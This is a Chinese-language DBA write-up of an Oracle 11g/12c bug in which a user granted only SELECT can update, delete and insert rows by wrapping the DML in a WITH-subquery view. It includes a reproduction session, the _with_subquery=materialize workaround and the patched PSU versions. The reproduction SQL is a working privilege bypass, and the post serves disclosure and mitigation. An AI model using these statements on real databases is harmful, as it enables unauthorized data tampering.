oracle解決方案_with_subquery=materialize或者psu(2014.07以後)

最近網上流傳的通過with繞過許可權實現非法更新表資料,存在較大風險.對於cpu bug在2014年07月份psu中修複,建議升級對應psu,如果條件不允許,可以通過_with_subquery參數臨時規避該風險
資料庫版本資訊
SQL> select * from v$version;
 
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
PL/SQL Release 11.2.0.4.0 - Production
CORE    11.2.0.4.0      Production
TNS for Linux: Version 11.2.0.4.0 - Production
NLSRTL Version 11.2.0.4.0 - Production
 
[oracle@localhost ~]$ opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c) 2012, Oracle Corporation.  All rights reserved.
 
 
Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
   from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version    : 11.2.0.3.4
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log
 
Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt
 
--------------------------------------------------------------------------------
Installed Top-level Products (1):
 
Oracle Database 11g                                                  11.2.0.4.0
There are 1 products installed in this Oracle Home.
 
 
There are no Interim patches installed in this Oracle Home.
 
 
--------------------------------------------------------------------------------
 
OPatch succeeded.
該資料庫版本為11.2.0.4,未安裝任何psu補丁

根據恩墨的測試重新bug資訊
可以參考原link:Oracle資料庫高危漏洞警告！
SQL> conn chf/xifenfei
Connected.
SQL> create table t_dml as select * from dba_users;
 
Table created.
 
SQL> create user xifenfei_dml identified by "www.xifenfei.com";
 
User created.
 
SQL> grant create session to xifenfei_dml;
 
Grant succeeded.
 
SQL> grant select on chf.t_dml to xifenfei_dml;
 
Grant succeeded.
 
SQL>
 
SQL> grant select on chf.t_dml to xifenfei_dml;
 
Grant succeeded.
 
SQL> conn xifenfei_dml/"www.xifenfei.com"
Connected.
 
SQL>  select count(*) from chf.t_dml;
 
  COUNT(*)
----------
        32
 
SQL>  select username,user_id from chf.t_dml where rownum <= 2;
 
USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
SYSTEM                                  5
 
SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
update chf.t_dml set username='www.xifenfei.com' where user_id = 5
           *
ERROR at line 1:
ORA-01031: insufficient privileges
 
SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
 
1 row updated.
 
SQL> commit;
 
Commit complete.
 
SQL> select username,user_id from chf.t_dml where rownum <= 2;
 
USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
www.xifenfei.com                        5
 
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
 
1 row deleted.
 
SQL> commit;
 
Commit complete.
 
SQL> select username,user_id from chf.t_dml where user_id=5;
 
no rows selected
 
SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
 
9 rows created.
 
SQL> commit;
 
Commit complete.
 
SQL> select count(*) from chf.t_dml;
 
  COUNT(*)
----------
        40
這裡確實證明了,在沒有dml情況下,可以通過with方式實現dml操作,從而實現無更改記錄使用者實現dml操作,資料庫存在安全隱患,通過查詢mos等相關資訊,確定該bug影響資料庫11.2.0.3，11.2.0.4,12.1.0.1等常見版本

對於不能及時升級的使用者使用_with_subquery參數臨時規避該bug
這個隱含參數的含義是在用with子句查詢的時候，將 查詢結果物化成temp表，（其實這也是我們常用with子句的目的，物化、緩衝結果集）
SQL> conn / as sysdba
Connected.
SQL> col name for a52
col value for a24
SQL> SQL> col description for a50
set linesize 150
SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
  2    from x$ksppi a,x$ksppcv b
 where a.inst_id = USERENV ('Instance')
  3    4     and b.inst_id = USERENV ('Instance')
  5     and a.indx = b.indx
  6     and upper(a.ksppinm) LIKE upper('%&param%')
  7  order by name
/  8 
Enter value for param: _WITH_SUBQUERY
old   6:    and upper(a.ksppinm) LIKE upper('%&param%')
new   6:    and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')
 
NAME                                                 VALUE                    DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery                                       OPTIMIZER                WITH subquery transformation
 
 
 
SQL> alter system  set "_with_subquery"=materialize;
 
System altered.
                             
 
SQL> alter system  set "_with_subquery"=materialize;
 
System altered.
 
SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
insert into  (with tmp as (select * from chf.t_dml)
             *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
 
 
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
delete (with tmp as (select user_id,username from chf.t_dml)
       *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
 
 
SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
update(with tmp as (select user_id,username from chf.t_dml)
      *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
該漏洞在2014年7月的CPU中被修正,以下psu中包含了該cpu補丁,如果條件允許,建議儘快升級如下版本
Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later